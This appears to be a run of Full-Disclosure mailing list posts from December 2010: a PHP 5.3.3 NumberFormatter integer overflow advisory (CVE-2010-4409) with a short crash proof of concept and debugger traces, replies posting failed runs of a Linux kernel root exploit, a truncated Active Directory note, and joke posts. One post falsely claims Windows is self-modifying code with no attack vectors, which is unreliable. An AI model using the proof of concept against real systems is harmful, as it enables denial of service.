>> >on
> all
>> >Active Directory domain workstations and servers. This allows domain
> users
>> >that have local administrator privileges on domain assets to modify
> their
>> >cached accounts to masquerade as other domain users that have logged
>> >in
> to
>> >those domain assets. This will allow local adminis

[Full-disclosure] Windows is 100% self-modifying assembly code? (Interesting security theory)

[John Jester Wilham Patrick III]

 

 From Andrew Auernheimer's Diary / irc memories:

Windows is written in pure, self-modifying assembly code. Notice how you can 
install 15 gigs of data from a single Windows install DVD, which can only hold 
5 gigs? This is because the code is dynamically generated to minimize attack 
vectors. Any attempt to observe the static files on the disk will change how it 
looks in runtime. This is also why Windows needs to be updated so often, so the 
running code never looks like it did before.

Does this sound true to you guys? Windows does seem to have updates that take 
forever and speed wise it always felt there was something going on.  Whenever I 
leave my laptop alone, even when it's offline, indexing off, the computer is 
always working on stuff and you new know what it is.

Maybe all applications with Windows compile on runtime for dynamic binaries, 
yet through .net's open, user-friendly API are still compatible?

Balmer said he wanted to make Vista and 7 an OS that would not slow down after 
usage, but instead speed up. Windows is constantly reprogramming itself to suit 
the behavior of it's users and performing security and performance auditing.

This is likely true - Think about it:

All viruses are just malicious scripts. It's like saying *nix is insecure 
because script kiddies compile binaries and bash scripts that rm /.

No one ever has ever had an attack vector against Windows 7 or Vista. Please 
confirm.


 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow

[Maksymilian Arciemowicz]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

[ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 11.11.2010
- - Pub.: 10.12.2010

CERT: VU#479900
CVE: CVE-2010-4409
CWE: CWE-189
Status: Fixed in PHP 5.3.4

Affected Software:
- - PHP 5.3.3

Original URL:
http://securityreason.com/achievement_securityalert/91


- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a
wrapper for ICU library, enabling PHP programmers to perform
UCA-conformant collation and date/time/number/currency formatting in
their scripts.

Number Formatter: allows to display number according to the localized
format or given pattern or set of rules, and to parse strings into numbers.


- --- 1. PoC for Integer Overflow ---
$nx=new NumberFormatter("pl",1);
$nx->getSymbol(2147483648);


- --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow ---
As we can see in

- ---
PHP_FUNCTION( numfmt_get_symbol )
{
long symbol;
UChar value_buf[4];
UChar *value = value_buf;
int length = USIZE(value);
FORMATTER_METHOD_INIT_VARS;

/* Parse parameters. */
if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(),
"Ol",
&object, NumberFormatter_ce_ptr, &symbol ) == FAILURE )
{
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
"numfmt_get_symbol: unable to parse input params", 0 
TSRMLS_CC );

RETURN_FALSE;
}

/* Fetch the object. */
FORMATTER_METHOD_FETCH_OBJECT;

length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf,
length, &INTL_DATA_ERROR_CODE(nfo)); <= !!!TO BIG INT
HERE!!!
...
- ---

will crash for differ value. example {292804, 2147483648,
2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under
64bits linux)

Program received signal SIGSEGV, Segmentation fault.
0x7fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*,
int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
(gdb) bt
#0  0x7fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#1  0x7fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120,
return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710,
return_value_used=17168144)
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269
...blabla

rip0x7fffedf317f5   0x7fffedf317f5

eflags 0x10206  [ PF IF RF ]

let`s see value ~4294901761

$nx=new NumberFormatter("pl",1);
$nx->getSymbol(4294901761);

will crash in memcpy(3) ;]

Program received signal SIGSEGV, Segmentation fault.
memcpy () at ../sysdeps/x86_64/memcpy.S:90
90  ../sysdeps/x86_64/memcpy.S: No such file or directory.
in ../sysdeps/x86_64/memcpy.S
(gdb) bt
#0  memcpy () at ../sysdeps/x86_64/memcpy.S:90
#1  0x7fffea74a86a in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#2  0x7fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952,
return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0,
return_value_used=17826976)
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274
#3  0x006e986a in zend_do_fcall_common_helper_SPEC (
execute_data=0x77eb8068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
...

let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&)

- ---
int32_t
UnicodeString::extract(UChar *dest, int32_t destCapacity,
   UErrorCode &errorCode) const {
  int32_t len = length();
  if(U_SUCCESS(errorCode)) {
if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) {
  errorCode=U_ILLEGAL_ARGUMENT_ERROR;
} else {
  const UChar *array = getArrayStart();
  if(len>0 && len<=destCapacity && array!=dest) {
uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <=== MEMCPY
REFERENCE HERE
  }
  return u_terminateUChars(dest, destCapacity, len, &errorCode);
}
  }

  return len;

}
- ---

so crash in rip=memcpy(3).

Method getLocal() also can generate simple crash (CWE-170)

$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,
IntlDateFormatter::FULL);
$nx->getLocale(1);


- --- 3. Fix ---
Fix in next PHP Version 5.3.4:
http://www.kb.cert.org/vuls/id/479900

SVN:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log


- --- 4. Greets ---
Special thanks for Pierre Joye and Stas Malyshev for very quickly fix
Michael Orlando for security support

and sp3x, Infospec


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciem

Re: [Full-disclosure] Linux kernel exploit

[Urlan]

More one test:

t...@test:~/Downloads$ ./testing
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xa0026610
 [+] Resolved econet_ops to 0xa0026720
 [+] Resolved commit_creds to 0x810863c0
 [+] Resolved prepare_kernel_cred to 0x81086890
[*] Calculating target...
[*] Triggering payload...
[*] Exploit failed to get root.
t...@test:~/Downloads$ uname -a
Linux test 2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 11:55:36 UTC 2010
x86_64 GNU/Linux

Urlan

2010/12/9 Jean Pierre Dentone 

> a few test
>
> [...@yangtao ~]$ ./extest
> ./extest: error while loading shared libraries: requires glibc 2.5 or
> later dynamic linker
> [...@yangtao ~]$ uname -r
> 2.6.9-89.0.25.ELsmp
> [...@yangtao ~]$ cat /etc/redhat-release
> CentOS release 4.8 (Final)
>
> ==
>
> [...@kernel ~]$ ./extest
> [*] Failed to open file descriptors.
> [...@kernel ~]$ uname -r
> 2.6.35.4
> [...@kernel ~]$ cat /etc/redhat-release
> CentOS release 5.2 (Final)
>
> ==
>
> [...@kernel64 ~]$ ./extest
> [*] Failed to open file descriptors.
> [...@kernel64 ~]$ uname -r
> 2.6.33.1
> [...@kernel64 ~]$ cat /etc/redhat-release
> CentOS release 5.5 (Final)
>
> On 12/8/2010 4:42 PM, Vadim Grinco wrote:
> > $ ./nelson
> > [*] Failed to open file descriptors.
> > $ uname -r
> > 2.6.35.6-48.fc14.x86_64
> > $ cat /etc/redhat-release
> > Fedora release 14 (Laughlin)
> >
> > But I updated a couple of days ago.
> >
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
_
Urlan Salgado de Barros
MSc. Student in Applied Informatics
Member of NR2 Group
Federal University of Paraná - Curitiba - Brazil
URL: 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Kernel Bug Fixed For OpenBSD

[PsychoBilly]

I must declare humour is very liked me in this list.

[[   musnt live   ]] @ [[   09/12/2010 21:46   
]]--
> Hello full disclosure!!!
> 
> I is like to warn you about Linux kernel exploit that is was warned
> you by to from Dan Rosenberg. Is I discover that Linux OpenBSD is no
> vulnerable
> 
> bash-4.0$ id
> uid=1001(musntlive) gid=1001(musntlive) groups=1001(musntlive)
> bash-4.0$ uname -ap
> OpenBSD im.is.hakaruski.websecurity.ug.ly 4.7 HAKARUSKI i386 AMD
> Phenom(tm) 9850 Quad-Core Processor ("AuthenticAMD" 686-class, 512KB
> L2 cache)
> bash-4.0$ ls

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/